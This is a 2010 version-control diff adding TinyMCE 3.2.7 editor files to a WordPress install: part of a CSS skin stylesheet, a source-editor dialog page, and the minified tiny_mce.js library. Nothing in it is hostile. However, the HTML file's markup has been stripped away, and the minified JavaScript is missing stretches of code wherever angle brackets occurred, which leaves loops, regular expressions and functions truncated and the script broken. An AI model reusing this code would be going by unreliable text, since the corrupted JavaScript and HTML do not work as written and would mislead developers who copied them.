.mceColorPreview {margin: -4px 0 0 2px; width:16px; height:4px; overflow:hidden} + +/* Menu */ +.wp_themeSkin .mceMenu {position:absolute; left:0; top:0; z-index:1000;} +.wp_themeSkin .mceNoIcons span.mceIcon {width:0;} +.wp_themeSkin .mceNoIcons a .mceText {padding-left:10px} +.wp_themeSkin .mceMenu table {} +.wp_themeSkin .mceMenu a, .wp_themeSkin .mceMenu span, .wp_themeSkin .mceMenu {display:block} +.wp_themeSkin .mceMenu td {height:20px;overflow:hidden;} +.wp_themeSkin .mceMenu a { + position:relative; + padding:3px 0 4px 0; + text-decoration: none !important; +} +.wp_themeSkin .mceMenu .mceText { + position:relative; + display:block; + font-family:Tahoma,Verdana,Arial,Helvetica; + cursor:default; + margin:0; + padding:0 25px; +} +.wp_themeSkin .mceMenu span.mceText, .wp_themeSkin .mceMenu .mcePreview {font-size:11px} +.wp_themeSkin .mceMenu pre.mceText {font-family:Monospace} +.wp_themeSkin .mceMenu .mceIcon {position:absolute; top:0; left:0; width:22px;} +.wp_themeSkin .mceMenu .mceMenuItemEnabled a:hover, +.wp_themeSkin .mceMenu .mceMenuItemActive {} +.wp_themeSkin td.mceMenuItemSeparator {height:1px} +.wp_themeSkin .mceMenuItemTitle a { + border-top: 0; + border-right: 0; + border-left: 0; + border-bottom-style: solid; + border-bottom-width: 1px; + text-decoration: none !important; +} +.wp_themeSkin .mceMenuItemTitle span.mceText {font-weight:bold; padding-left:4px} +.wp_themeSkin .mceMenuItemDisabled .mceText {} +.wp_themeSkin .mceMenuItemSelected .mceIcon {background:url(../default/img/menu_check.gif)} +.wp_themeSkin .mceNoIcons .mceMenuItemSelected a {background:url(../default/img/menu_arrow.gif) no-repeat -6px center} +.wp_themeSkin .mceMenu span.mceMenuLine {display:none} +.wp_themeSkin .mceMenuItemSub a {background:url(../default/img/menu_arrow.gif) no-repeat top right;} + +/* Progress,Resize */ +.wp_themeSkin .mceBlocker {position:absolute; left:0; top:0; z-index:1000; opacity:0.5; filter:alpha(opacity=50); background:#FFF} +.wp_themeSkin .mceProgress {position:absolute; left:0; top:0; z-index:1001; background:url(../default/img/progress.gif) no-repeat; width:32px; height:32px; margin:-16px 0 0 -16px} +.wp_themeSkin .mcePlaceHolder {border:1px dotted gray} + +/* Formats */ +.wp_themeSkin .mce_formatPreview a {font-size:10px} +.wp_themeSkin .mce_p span.mceText {} +.wp_themeSkin .mce_address span.mceText {font-style:italic} +.wp_themeSkin .mce_pre span.mceText {font-family:monospace} +.wp_themeSkin .mce_h1 span.mceText {font-weight:bolder; font-size: 2em} +.wp_themeSkin .mce_h2 span.mceText {font-weight:bolder; font-size: 1.5em} +.wp_themeSkin .mce_h3 span.mceText {font-weight:bolder; font-size: 1.17em} +.wp_themeSkin .mce_h4 span.mceText {font-weight:bolder; font-size: 1em} +.wp_themeSkin .mce_h5 span.mceText {font-weight:bolder; font-size: .83em} +.wp_themeSkin .mce_h6 span.mceText {font-weight:bolder; font-size: .75em} + +/* Theme */ +.wp_themeSkin span.mce_bold {background-position:0 0} +.wp_themeSkin span.mce_italic {background-position:-60px 0} +.wp_themeSkin span.mce_underline {background-position:-140px 0} +.wp_themeSkin span.mce_strikethrough {background-position:-120px 0} +.wp_themeSkin span.mce_undo {background-position:-160px 0} +.wp_themeSkin span.mce_redo {background-position:-100px 0} +.wp_themeSkin span.mce_cleanup {background-position:-40px 0} +.wp_themeSkin span.mce_bullist {background-position:-20px 0} +.wp_themeSkin span.mce_numlist {background-position:-80px 0} +.wp_themeSkin span.mce_justifyleft {background-position:-460px 0} +.wp_themeSkin span.mce_justifyright {background-position:-480px 0} +.wp_themeSkin span.mce_justifycenter {background-position:-420px 0} +.wp_themeSkin span.mce_justifyfull {background-position:-440px 0} +.wp_themeSkin span.mce_anchor {background-position:-200px 0} +.wp_themeSkin span.mce_indent {background-position:-400px 0} +.wp_themeSkin span.mce_outdent {background-position:-540px 0} +.wp_themeSkin span.mce_link {background-position:-500px 0} +.wp_themeSkin span.mce_unlink {background-position:-640px 0} +.wp_themeSkin span.mce_sub {background-position:-600px 0} +.wp_themeSkin span.mce_sup {background-position:-620px 0} +.wp_themeSkin span.mce_removeformat {background-position:-580px 0} +.wp_themeSkin span.mce_newdocument {background-position:-520px 0} +.wp_themeSkin span.mce_image {background-position:-380px 0} +.wp_themeSkin span.mce_help {background-position:-340px 0} +.wp_themeSkin span.mce_code {background-position:-260px 0} +.wp_themeSkin span.mce_hr {background-position:-360px 0} +.wp_themeSkin span.mce_visualaid {background-position:-660px 0} +.wp_themeSkin span.mce_charmap {background-position:-240px 0} +.wp_themeSkin span.mce_paste {background-position:-560px 0} +.wp_themeSkin span.mce_copy {background-position:-700px 0} +.wp_themeSkin span.mce_cut {background-position:-680px 0} +.wp_themeSkin span.mce_blockquote {background-position:-220px 0} +.wp_themeSkin .mce_forecolor span.mceAction {background-position:-720px 0} +.wp_themeSkin .mce_backcolor span.mceAction {background-position:-760px 0} +.wp_themeSkin .mce_forecolorpicker {background-position:-720px 0} +.wp_themeSkin .mce_backcolorpicker {background-position:-760px 0} + +/* Plugins */ +.wp_themeSkin span.mce_advhr {background-position:-0px -20px} +.wp_themeSkin span.mce_ltr {background-position:-20px -20px} +.wp_themeSkin span.mce_rtl {background-position:-40px -20px} +.wp_themeSkin span.mce_emotions {background-position:-60px -20px} +.wp_themeSkin span.mce_fullpage {background-position:-80px -20px} +.wp_themeSkin span.mce_fullscreen {background-position:-100px -20px} +.wp_themeSkin span.mce_iespell {background-position:-120px -20px} +.wp_themeSkin span.mce_insertdate {background-position:-140px -20px} +.wp_themeSkin span.mce_inserttime {background-position:-160px -20px} +.wp_themeSkin span.mce_absolute {background-position:-180px -20px} +.wp_themeSkin span.mce_backward {background-position:-200px -20px} +.wp_themeSkin span.mce_forward {background-position:-220px -20px} +.wp_themeSkin span.mce_insert_layer {background-position:-240px -20px} +.wp_themeSkin span.mce_insertlayer {background-position:-260px -20px} +.wp_themeSkin span.mce_movebackward {background-position:-280px -20px} +.wp_themeSkin span.mce_moveforward {background-position:-300px -20px} +.wp_themeSkin span.mce_media {background-position:-320px -20px} +.wp_themeSkin span.mce_nonbreaking {background-position:-340px -20px} +.wp_themeSkin span.mce_pastetext {background-position:-360px -20px} +.wp_themeSkin span.mce_pasteword {background-position:-380px -20px} +.wp_themeSkin span.mce_selectall {background-position:-400px -20px} +.wp_themeSkin span.mce_preview {background-position:-420px -20px} +.wp_themeSkin span.mce_print {background-position:-440px -20px} +.wp_themeSkin span.mce_cancel {background-position:-460px -20px} +.wp_themeSkin span.mce_save {background-position:-480px -20px} +.wp_themeSkin span.mce_replace {background-position:-500px -20px} +.wp_themeSkin span.mce_search {background-position:-520px -20px} +.wp_themeSkin span.mce_styleprops {background-position:-560px -20px} +.wp_themeSkin span.mce_table {background-position:-580px -20px} +.wp_themeSkin span.mce_cell_props {background-position:-600px -20px} +.wp_themeSkin span.mce_delete_table {background-position:-620px -20px} +.wp_themeSkin span.mce_delete_col {background-position:-640px -20px} +.wp_themeSkin span.mce_delete_row {background-position:-660px -20px} +.wp_themeSkin span.mce_col_after {background-position:-680px -20px} +.wp_themeSkin span.mce_col_before {background-position:-700px -20px} +.wp_themeSkin span.mce_row_after {background-position:-720px -20px} +.wp_themeSkin span.mce_row_before {background-position:-740px -20px} +.wp_themeSkin span.mce_merge_cells {background-position:-760px -20px} +.wp_themeSkin span.mce_table_props {background-position:-980px -20px} +.wp_themeSkin span.mce_row_props {background-position:-780px -20px} +.wp_themeSkin span.mce_split_cells {background-position:-800px -20px} +.wp_themeSkin span.mce_template {background-position:-820px -20px} +.wp_themeSkin span.mce_visualchars {background-position:-840px -20px} +.wp_themeSkin span.mce_abbr {background-position:-860px -20px} +.wp_themeSkin span.mce_acronym {background-position:-880px -20px} +.wp_themeSkin span.mce_attribs {background-position:-900px -20px} +.wp_themeSkin span.mce_cite {background-position:-920px -20px} +.wp_themeSkin span.mce_del {background-position:-940px -20px} +.wp_themeSkin span.mce_ins {background-position:-960px -20px} +.wp_themeSkin span.mce_pagebreak {background-position:0 -40px} +.wp_themeSkin .mce_spellchecker span.mceAction {background-position:-540px -20px} + +/* border */ +.wp_themeSkin .mceExternalToolbar, +.wp_themeSkin .mceButton, +.wp_themeSkin a.mceButtonEnabled:hover, +.wp_themeSkin a.mceButtonActive, +.wp_themeSkin a.mceButtonSelected, +.wp_themeSkin .mceListBox .mceText, +.wp_themeSkin .mceListBox .mceOpen, +.wp_themeSkin table.mceListBoxEnabled:hover .mceText, +.wp_themeSkin .mceListBoxHover .mceText, +.wp_themeSkin .mceListBoxSelected .mceText, +.wp_themeSkin table.mceListBoxEnabled:hover .mceOpen, +.wp_themeSkin .mceListBoxHover .mceOpen, +.wp_themeSkin .mceListBoxSelected .mceOpen, +.wp_themeSkin select.mceListBox, +.wp_themeSkin .mceSplitButton a.mceAction, +.wp_themeSkin .mceSplitButton a.mceOpen, +.wp_themeSkin .mceSplitButton a.mceOpen:hover, +.wp_themeSkin .mceSplitButtonSelected a.mceOpen, +.wp_themeSkin table.mceSplitButtonEnabled:hover a.mceAction, +.wp_themeSkin .mceSplitButton a.mceAction:hover, +.wp_themeSkin div.mceColorSplitMenu table, +.wp_themeSkin .mceColorSplitMenu a, +.wp_themeSkin .mceColorSplitMenu a.mceMoreColors, +.wp_themeSkin .mceColorSplitMenu a.mceMoreColors:hover, +.wp_themeSkin a.mceMoreColors:hover, +.wp_themeSkin .mceMenu { + border-style: solid; + border-width: 1px; +} diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/js/tinymce/themes/advanced/source_editor.htm --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-includes/js/tinymce/themes/advanced/source_editor.htm Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,31 @@ + + + + {#advanced_dlg.code_title} + + + + +
    +
    {#advanced_dlg.code_title}
    + +
    + +
    + +
    + + + +
    +
    + +
    + +
    + +
    +
    +
    + + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/js/tinymce/tiny_mce.js --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-includes/js/tinymce/tiny_mce.js Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,1 @@ +var tinymce={majorVersion:"3",minorVersion:"2.7",releaseDate:"2009-09-22",_init:function(){var o=this,k=document,l=window,j=navigator,b=j.userAgent,h,a,g,f,e,m;o.isOpera=l.opera&&opera.buildNumber;o.isWebKit=/WebKit/.test(b);o.isIE=!o.isWebKit&&!o.isOpera&&(/MSIE/gi).test(b)&&(/Explorer/gi).test(j.appName);o.isIE6=o.isIE&&/MSIE [56]/.test(b);o.isGecko=!o.isWebKit&&/Gecko/.test(b);o.isMac=b.indexOf("Mac")!=-1;o.isAir=/adobeair/i.test(b);if(l.tinyMCEPreInit){o.suffix=tinyMCEPreInit.suffix;o.baseURL=tinyMCEPreInit.base;o.query=tinyMCEPreInit.query;return}o.suffix="";a=k.getElementsByTagName("base");for(h=0;h=c.length){for(e=0,b=g.length;e=c.length||g[e]!=c[e]){f=e+1;break}}}if(g.length=g.length||g[e]!=c[e]){f=e+1;break}}}if(f==1){return h}for(e=0,b=g.length-(f-1);e=0;c--){if(f[c].length==0||f[c]=="."){continue}if(f[c]==".."){b++;continue}if(b>0){b--;continue}h.push(f[c])}c=e.length-b;if(c<=0){g=h.reverse().join("/")}else{g=e.slice(0,c).join("/")+"/"+h.reverse().join("/")}if(g.indexOf("/")!==0){g="/"+g}if(d&&g.lastIndexOf("/")!==g.length-1){g+=d}return g},getURI:function(d){var c,b=this;if(!b.source||d){c="";if(!d){if(b.protocol){c+=b.protocol+"://"}if(b.userInfo){c+=b.userInfo+"@"}if(b.host){c+=b.host}if(b.port){c+=":"+b.port}}if(b.path){c+=b.path}if(b.query){c+="?"+b.query}if(b.anchor){c+="#"+b.anchor}b.source=c}return b.source}})})();(function(){var a=tinymce.each;tinymce.create("static tinymce.util.Cookie",{getHash:function(d){var b=this.get(d),c;if(b){a(b.split("&"),function(e){e=e.split("=");c=c||{};c[unescape(e[0])]=unescape(e[1])})}return c},setHash:function(j,b,g,f,i,c){var h="";a(b,function(e,d){h+=(!h?"":"&")+escape(d)+"="+escape(e)});this.set(j,h,g,f,i,c)},get:function(i){var h=document.cookie,g,f=i+"=",d;if(!h){return}d=h.indexOf("; "+f);if(d==-1){d=h.indexOf(f);if(d!=0){return null}}else{d+=2}g=h.indexOf(";",d);if(g==-1){g=h.length}return unescape(h.substring(d+f.length,g))},set:function(i,b,g,f,h,c){document.cookie=i+"="+escape(b)+((g)?"; expires="+g.toGMTString():"")+((f)?"; path="+escape(f):"")+((h)?"; domain="+h:"")+((c)?"; secure":"")},remove:function(e,b){var c=new Date();c.setTime(c.getTime()-1000);this.set(e,"",c,b,c)}})})();tinymce.create("static tinymce.util.JSON",{serialize:function(e){var c,a,d=tinymce.util.JSON.serialize,b;if(e==null){return"null"}b=typeof e;if(b=="string"){a="\bb\tt\nn\ff\rr\"\"''\\\\";return'"'+e.replace(/([\u0080-\uFFFF\x00-\x1f\"])/g,function(g,f){c=a.indexOf(f);if(c+1){return"\\"+a.charAt(c+1)}g=f.charCodeAt().toString(16);return"\\u"+"0000".substring(g.length)+g})+'"'}if(b=="object"){if(e.hasOwnProperty&&e instanceof Array){for(c=0,a="[";c0?",":"")+d(e[c])}return a+"]"}a="{";for(c in e){a+=typeof e[c]!="function"?(a.length>1?',"':'"')+c+'":'+d(e[c]):""}return a+"}"}return""+e},parse:function(s){try{return eval("("+s+")")}catch(ex){}}});tinymce.create("static tinymce.util.XHR",{send:function(g){var a,e,b=window,h=0;g.scope=g.scope||this;g.success_scope=g.success_scope||g.scope;g.error_scope=g.error_scope||g.scope;g.async=g.async===false?false:true;g.data=g.data||"";function d(i){a=0;try{a=new ActiveXObject(i)}catch(c){}return a}a=b.XMLHttpRequest?new XMLHttpRequest():d("Microsoft.XMLHTTP")||d("Msxml2.XMLHTTP");if(a){if(a.overrideMimeType){a.overrideMimeType(g.content_type)}a.open(g.type||(g.data?"POST":"GET"),g.url,g.async);if(g.content_type){a.setRequestHeader("Content-Type",g.content_type)}a.setRequestHeader("X-Requested-With","XMLHttpRequest");a.send(g.data);function f(){if(!g.async||a.readyState==4||h++>10000){if(g.success&&h<10000&&a.status==200){g.success.call(g.success_scope,""+a.responseText,a,g)}else{if(g.error){g.error.call(g.error_scope,h>10000?"TIMED_OUT":"GENERAL",a,g)}}a=null}else{b.setTimeout(f,10)}}if(!g.async){return f()}e=b.setTimeout(f,10)}}});(function(){var c=tinymce.extend,b=tinymce.util.JSON,a=tinymce.util.XHR;tinymce.create("tinymce.util.JSONRequest",{JSONRequest:function(d){this.settings=c({},d);this.count=0},send:function(f){var e=f.error,d=f.success;f=c(this.settings,f);f.success=function(h,g){h=b.parse(h);if(typeof(h)=="undefined"){h={error:"JSON Parse error."}}if(h.error){e.call(f.error_scope||f.scope,h.error,g)}else{d.call(f.success_scope||f.scope,h.result)}};f.error=function(h,g){e.call(f.error_scope||f.scope,h,g)};f.data=b.serialize({id:f.id||"c"+(this.count++),method:f.method,params:f.params});f.content_type="application/json";a.send(f)},"static":{sendRPC:function(d){return new tinymce.util.JSONRequest().send(d)}}})}());(function(c){var e=c.each,b=c.is;var d=c.isWebKit,a=c.isIE;c.create("tinymce.dom.DOMUtils",{doc:null,root:null,files:null,pixelStyles:/^(top|left|bottom|right|width|height|borderWidth)$/,props:{"for":"htmlFor","class":"className",className:"className",checked:"checked",disabled:"disabled",maxlength:"maxLength",readonly:"readOnly",selected:"selected",value:"value",id:"id",name:"name",type:"type"},DOMUtils:function(i,g){var f=this;f.doc=i;f.win=window;f.files={};f.cssFlicker=false;f.counter=0;f.boxModel=!c.isIE||i.compatMode=="CSS1Compat";f.stdMode=i.documentMode===8;f.settings=g=c.extend({keep_values:false,hex_colors:1,process_html:1},g);if(c.isIE6){try{i.execCommand("BackgroundImageCache",false,true)}catch(h){f.cssFlicker=true}}c.addUnload(f.destroy,f)},getRoot:function(){var f=this,g=f.settings;return(g&&f.get(g.root_element))||f.doc.body},getViewPort:function(g){var h,f;g=!g?this.win:g;h=g.document;f=this.boxModel?h.documentElement:h.body;return{x:g.pageXOffset||f.scrollLeft,y:g.pageYOffset||f.scrollTop,w:g.innerWidth||f.clientWidth,h:g.innerHeight||f.clientHeight}},getRect:function(i){var h,f=this,g;i=f.get(i);h=f.getPos(i);g=f.getSize(i);return{x:h.x,y:h.y,w:g.w,h:g.h}},getSize:function(j){var g=this,f,i;j=g.get(j);f=g.getStyle(j,"width");i=g.getStyle(j,"height");if(f.indexOf("px")===-1){f=0}if(i.indexOf("px")===-1){i=0}return{w:parseInt(f)||j.offsetWidth||j.clientWidth,h:parseInt(i)||j.offsetHeight||j.clientHeight}},getParent:function(i,h,g){return this.getParents(i,h,g,false)},getParents:function(p,k,i,m){var h=this,g,j=h.settings,l=[];p=h.get(p);m=m===undefined;if(j.strict_root){i=i||h.getRoot()}if(b(k,"string")){g=k;if(k==="*"){k=function(f){return f.nodeType==1}}else{k=function(f){return h.is(f,g)}}}while(p){if(p==i||!p.nodeType||p.nodeType===9){break}if(!k||k(p)){if(m){l.push(p)}else{return p}}p=p.parentNode}return m?l:null},get:function(f){var g;if(f&&this.doc&&typeof(f)=="string"){g=f;f=this.doc.getElementById(f);if(f&&f.id!==g){return this.doc.getElementsByName(g)[1]}}return f},getNext:function(g,f){return this._findSib(g,f,"nextSibling")},getPrev:function(g,f){return this._findSib(g,f,"previousSibling")},select:function(h,g){var f=this;return c.dom.Sizzle(h,f.get(g)||f.get(f.settings.root_element)||f.doc,[])},is:function(g,f){return c.dom.Sizzle.matches(f,g.nodeType?[g]:g).length>0},add:function(j,l,f,i,k){var g=this;return this.run(j,function(n){var m,h;m=b(l,"string")?g.doc.createElement(l):l;g.setAttribs(m,f);if(i){if(i.nodeType){m.appendChild(i)}else{g.setHTML(m,i)}}return !k?n.appendChild(m):m})},create:function(i,f,g){return this.add(this.doc.createElement(i),i,f,g,1)},createHTML:function(m,f,j){var l="",i=this,g;l+="<"+m;for(g in f){if(f.hasOwnProperty(g)){l+=" "+g+'="'+i.encode(f[g])+'"'}}if(c.is(j)){return l+">"+j+""}return l+" />"},remove:function(h,f){var g=this;return this.run(h,function(m){var l,k,j;l=m.parentNode;if(!l){return null}if(f){for(j=m.childNodes.length-1;j>=0;j--){g.insertAfter(m.childNodes[j],m)}}if(g.fixPsuedoLeaks){l=m.cloneNode(true);f="IELeakGarbageBin";k=g.get(f)||g.add(g.doc.body,"div",{id:f,style:"display:none"});k.appendChild(m);k.innerHTML="";return l}return l.removeChild(m)})},setStyle:function(i,f,g){var h=this;return h.run(i,function(l){var k,j;k=l.style;f=f.replace(/-(\D)/g,function(n,m){return m.toUpperCase()});if(h.pixelStyles.test(f)&&(c.is(g,"number")||/^[\-0-9\.]+$/.test(g))){g+="px"}switch(f){case"opacity":if(a){k.filter=g===""?"":"alpha(opacity="+(g*100)+")";if(!i.currentStyle||!i.currentStyle.hasLayout){k.display="inline-block"}}k[f]=k["-moz-opacity"]=k["-khtml-opacity"]=g||"";break;case"float":a?k.styleFloat=g:k.cssFloat=g;break;default:k[f]=g||""}if(h.settings.update_styles){h.setAttrib(l,"mce_style")}})},getStyle:function(i,f,h){i=this.get(i);if(!i){return false}if(this.doc.defaultView&&h){f=f.replace(/[A-Z]/g,function(j){return"-"+j});try{return this.doc.defaultView.getComputedStyle(i,null).getPropertyValue(f)}catch(g){return null}}f=f.replace(/-(\D)/g,function(k,j){return j.toUpperCase()});if(f=="float"){f=a?"styleFloat":"cssFloat"}if(i.currentStyle&&h){return i.currentStyle[f]}return i.style[f]},setStyles:function(i,j){var g=this,h=g.settings,f;f=h.update_styles;h.update_styles=0;e(j,function(k,l){g.setStyle(i,l,k)});h.update_styles=f;if(h.update_styles){g.setAttrib(i,h.cssText)}},setAttrib:function(h,i,f){var g=this;if(!h||!i){return}if(g.settings.strict){i=i.toLowerCase()}return this.run(h,function(k){var j=g.settings;switch(i){case"style":if(!b(f,"string")){e(f,function(l,m){g.setStyle(k,m,l)});return}if(j.keep_values){if(f&&!g._isRes(f)){k.setAttribute("mce_style",f,2)}else{k.removeAttribute("mce_style",2)}}k.style.cssText=f;break;case"class":k.className=f||"";break;case"src":case"href":if(j.keep_values){if(j.url_converter){f=j.url_converter.call(j.url_converter_scope||g,f,i,k)}g.setAttrib(k,"mce_"+i,f,2)}break;case"shape":k.setAttribute("mce_style",f);break}if(b(f)&&f!==null&&f.length!==0){k.setAttribute(i,""+f,2)}else{k.removeAttribute(i,2)}})},setAttribs:function(g,h){var f=this;return this.run(g,function(i){e(h,function(j,k){f.setAttrib(i,k,j)})})},getAttrib:function(i,j,h){var f,g=this;i=g.get(i);if(!i||i.nodeType!==1){return false}if(!b(h)){h=""}if(/^(src|href|style|coords|shape)$/.test(j)){f=i.getAttribute("mce_"+j);if(f){return f}}if(a&&g.props[j]){f=i[g.props[j]];f=f&&f.nodeValue?f.nodeValue:f}if(!f){f=i.getAttribute(j,2)}if(/^(checked|compact|declare|defer|disabled|ismap|multiple|nohref|noshade|nowrap|readonly|selected)$/.test(j)){if(i[g.props[j]]===true&&f===""){return j}return f?j:""}if(i.nodeName==="FORM"&&i.getAttributeNode(j)){return i.getAttributeNode(j).nodeValue}if(j==="style"){f=f||i.style.cssText;if(f){f=g.serializeStyle(g.parseStyle(f));if(g.settings.keep_values&&!g._isRes(f)){i.setAttribute("mce_style",f)}}}if(d&&j==="class"&&f){f=f.replace(/(apple|webkit)\-[a-z\-]+/gi,"")}if(a){switch(j){case"rowspan":case"colspan":if(f===1){f=""}break;case"size":if(f==="+0"||f===20||f===0){f=""}break;case"width":case"height":case"vspace":case"checked":case"disabled":case"readonly":if(f===0){f=""}break;case"hspace":if(f===-1){f=""}break;case"maxlength":case"tabindex":if(f===32768||f===2147483647||f==="32768"){f=""}break;case"multiple":case"compact":case"noshade":case"nowrap":if(f===65535){return j}return h;case"shape":f=f.toLowerCase();break;default:if(j.indexOf("on")===0&&f){f=(""+f).replace(/^function\s+\w+\(\)\s+\{\s+(.*)\s+\}$/,"$1")}}}return(f!==undefined&&f!==null&&f!=="")?""+f:h},getPos:function(m,i){var g=this,f=0,l=0,j,k=g.doc,h;m=g.get(m);i=i||k.body;if(m){if(a&&!g.stdMode){m=m.getBoundingClientRect();j=g.boxModel?k.documentElement:k.body;f=g.getStyle(g.select("html")[0],"borderWidth");f=(f=="medium"||g.boxModel&&!g.isIE6)&&2||f;m.top+=g.win.self!=g.win.top?2:0;return{x:m.left+j.scrollLeft-f,y:m.top+j.scrollTop-f}}h=m;while(h&&h!=i&&h.nodeType){f+=h.offsetLeft||0;l+=h.offsetTop||0;h=h.offsetParent}h=m.parentNode;while(h&&h!=i&&h.nodeType){f-=h.scrollLeft||0;l-=h.scrollTop||0;h=h.parentNode}}return{x:f,y:l}},parseStyle:function(h){var i=this,j=i.settings,k={};if(!h){return k}function f(w,q,v){var o,u,m,n;o=k[w+"-top"+q];if(!o){return}u=k[w+"-right"+q];if(o!=u){return}m=k[w+"-bottom"+q];if(u!=m){return}n=k[w+"-left"+q];if(m!=n){return}k[v]=n;delete k[w+"-top"+q];delete k[w+"-right"+q];delete k[w+"-bottom"+q];delete k[w+"-left"+q]}function g(n,m,l,p){var o;o=k[m];if(!o){return}o=k[l];if(!o){return}o=k[p];if(!o){return}k[n]=k[m]+" "+k[l]+" "+k[p];delete k[m];delete k[l];delete k[p]}h=h.replace(/&(#?[a-z0-9]+);/g,"&$1_MCE_SEMI_");e(h.split(";"),function(m){var l,n=[];if(m){m=m.replace(/_MCE_SEMI_/g,";");m=m.replace(/url\([^\)]+\)/g,function(o){n.push(o);return"url("+n.length+")"});m=m.split(":");l=c.trim(m[1]);l=l.replace(/url\(([^\)]+)\)/g,function(p,o){return n[parseInt(o)-1]});l=l.replace(/rgb\([^\)]+\)/g,function(o){return i.toHex(o)});if(j.url_converter){l=l.replace(/url\([\'\"]?([^\)\'\"]+)[\'\"]?\)/g,function(o,p){return"url("+j.url_converter.call(j.url_converter_scope||i,i.decode(p),"style",null)+")"})}k[c.trim(m[0]).toLowerCase()]=l}});f("border","","border");f("border","-width","border-width");f("border","-color","border-color");f("border","-style","border-style");f("padding","","padding");f("margin","","margin");g("border","border-width","border-style","border-color");if(a){if(k.border=="medium none"){k.border=""}}return k},serializeStyle:function(g){var f="";e(g,function(i,h){if(h&&i){if(c.isGecko&&h.indexOf("-moz-")===0){return}switch(h){case"color":case"background-color":i=i.toLowerCase();break}f+=(f?" ":"")+h+": "+i+";"}});return f},loadCSS:function(f){var h=this,i=h.doc,g;if(!f){f=""}g=h.select("head")[0];e(f.split(","),function(j){var k;if(h.files[j]){return}h.files[j]=true;k=h.create("link",{rel:"stylesheet",href:c._addVer(j)});if(a&&i.documentMode){k.onload=function(){i.recalc();k.onload=null}}g.appendChild(k)})},addClass:function(f,g){return this.run(f,function(h){var i;if(!g){return 0}if(this.hasClass(h,g)){return h.className}i=this.removeClass(h,g);return h.className=(i!=""?(i+" "):"")+g})},removeClass:function(h,i){var f=this,g;return f.run(h,function(k){var j;if(f.hasClass(k,i)){if(!g){g=new RegExp("(^|\\s+)"+i+"(\\s+|$)","g")}j=k.className.replace(g," ");return k.className=c.trim(j!=" "?j:"")}return k.className})},hasClass:function(g,f){g=this.get(g);if(!g||!f){return false}return(" "+g.className+" ").indexOf(" "+f+" ")!==-1},show:function(f){return this.setStyle(f,"display","block")},hide:function(f){return this.setStyle(f,"display","none")},isHidden:function(f){f=this.get(f);return !f||f.style.display=="none"||this.getStyle(f,"display")=="none"},uniqueId:function(f){return(!f?"mce_":f)+(this.counter++)},setHTML:function(i,g){var f=this;return this.run(i,function(m){var h,k,j,q,l,h;g=f.processHTML(g);if(a){function o(){try{m.innerHTML="
    "+g;m.removeChild(m.firstChild)}catch(n){while(m.firstChild){m.firstChild.removeNode()}h=f.create("div");h.innerHTML="
    "+g;e(h.childNodes,function(r,p){if(p){m.appendChild(r)}})}}if(f.settings.fix_ie_paragraphs){g=g.replace(/

    <\/p>|]+)><\/p>|/gi,' 

    ')}o();if(f.settings.fix_ie_paragraphs){j=m.getElementsByTagName("p");for(k=j.length-1,h=0;k>=0;k--){q=j[k];if(!q.hasChildNodes()){if(!q.mce_keep){h=1;break}q.removeAttribute("mce_keep")}}}if(h){g=g.replace(/

    ]+)>|

    /ig,'

    ');g=g.replace(/<\/p>/g,"
    ");o();if(f.settings.fix_ie_paragraphs){j=m.getElementsByTagName("DIV");for(k=j.length-1;k>=0;k--){q=j[k];if(q.mce_tmp){l=f.doc.createElement("p");q.cloneNode(false).outerHTML.replace(/([a-z0-9\-_]+)=/gi,function(p,n){var r;if(n!=="mce_tmp"){r=q.getAttribute(n);if(!r&&n==="class"){r=q.className}l.setAttribute(n,r)}});for(h=0;h|]+)>/gi,"<$1b$2>");j=j.replace(/<(\/?)em>|]+)>/gi,"<$1i$2>")}else{if(a){j=j.replace(/'/g,"'");j=j.replace(/\s+(disabled|checked|readonly|selected)\s*=\s*[\"\']?(false|0)[\"\']?/gi,"")}}j=j.replace(/]+)\/>|/gi,"");if(i.keep_values){if(/)/g,"\n");h=h.replace(/^[\r\n]*|[\r\n]*$/g,"");h=h.replace(/^\s*(\/\/\s*|\]\]>|-->|\]\]-->)\s*$/g,"");return h}j=j.replace(/]+|)>([\s\S]*?)<\/script>/gi,function(h,m,l){if(!m){m=' type="text/javascript"'}m=m.replace(/src=\"([^\"]+)\"?/i,function(n,o){if(i.url_converter){o=g.encode(i.url_converter.call(i.url_converter_scope||g,g.decode(o),"src","script"))}return'mce_src="'+o+'"'});if(c.trim(l)){k.push(f(l));l=""}return""+l+""});j=j.replace(/]+|)>([\s\S]*?)<\/style>/gi,function(h,m,l){if(l){k.push(f(l));l=""}return""+l+""});j=j.replace(/]+|)>([\s\S]*?)<\/noscript>/g,function(h,m,l){return""})}j=j.replace(//g,"");j=j.replace(/<([\w:]+) [^>]*(checked|compact|declare|defer|disabled|ismap|multiple|nohref|noshade|nowrap|readonly|selected)[^>]*>/gi,function(l){function h(o,m,n){if(n==="false"||n==="0"){return""}return" "+m+'="'+m+'"'}l=l.replace(/ (checked|compact|declare|defer|disabled|ismap|multiple|nohref|noshade|nowrap|readonly|selected)=[\"]([^\"]+)[\"]/gi,h);l=l.replace(/ (checked|compact|declare|defer|disabled|ismap|multiple|nohref|noshade|nowrap|readonly|selected)=[\']([^\']+)[\']/gi,h);l=l.replace(/ (checked|compact|declare|defer|disabled|ismap|multiple|nohref|noshade|nowrap|readonly|selected)=([^\s\"\'>]+)/gi,h);l=l.replace(/ (checked|compact|declare|defer|disabled|ismap|multiple|nohref|noshade|nowrap|readonly|selected)([\s>])/gi,' $1="$1"$2');return l});j=j.replace(/<([\w:]+) [^>]*(src|href|style|shape|coords)[^>]*>/gi,function(h,m){function l(o,n,q){var p=q;if(h.indexOf("mce_"+n)!=-1){return o}if(n=="style"){if(g._isRes(q)){return o}p=g.encode(g.serializeStyle(g.parseStyle(p)))}else{if(n!="coords"&&n!="shape"){if(i.url_converter){p=g.encode(i.url_converter.call(i.url_converter_scope||g,g.decode(q),n,m))}}}return" "+n+'="'+q+'" mce_'+n+'="'+p+'"'}h=h.replace(/ (src|href|style|coords|shape)=[\"]([^\"]+)[\"]/gi,l);h=h.replace(/ (src|href|style|coords|shape)=[\']([^\']+)[\']/gi,l);return h.replace(/ (src|href|style|coords|shape)=([^\s\"\'>]+)/gi,l)});j=j.replace(/MCE_SCRIPT:([0-9]+)/g,function(l,h){return k[h]})}return j},getOuterHTML:function(f){var 